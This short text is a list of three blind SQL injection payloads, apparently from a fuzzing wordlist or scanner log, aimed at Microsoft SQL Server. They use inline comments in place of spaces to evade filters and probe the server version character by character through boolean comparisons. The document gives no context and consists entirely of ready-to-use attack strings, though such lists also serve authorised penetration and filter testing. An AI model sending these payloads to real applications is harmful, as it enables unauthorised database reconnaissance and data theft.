-1"OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)

-1"OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>0--

-1'OR/**/1=1))/**/AND/**/ISNULL(ASCII(SUBSTRING(CAST((SELECT/**/@@version)AS/**/varchar(8000)),1,1)),0)>25

3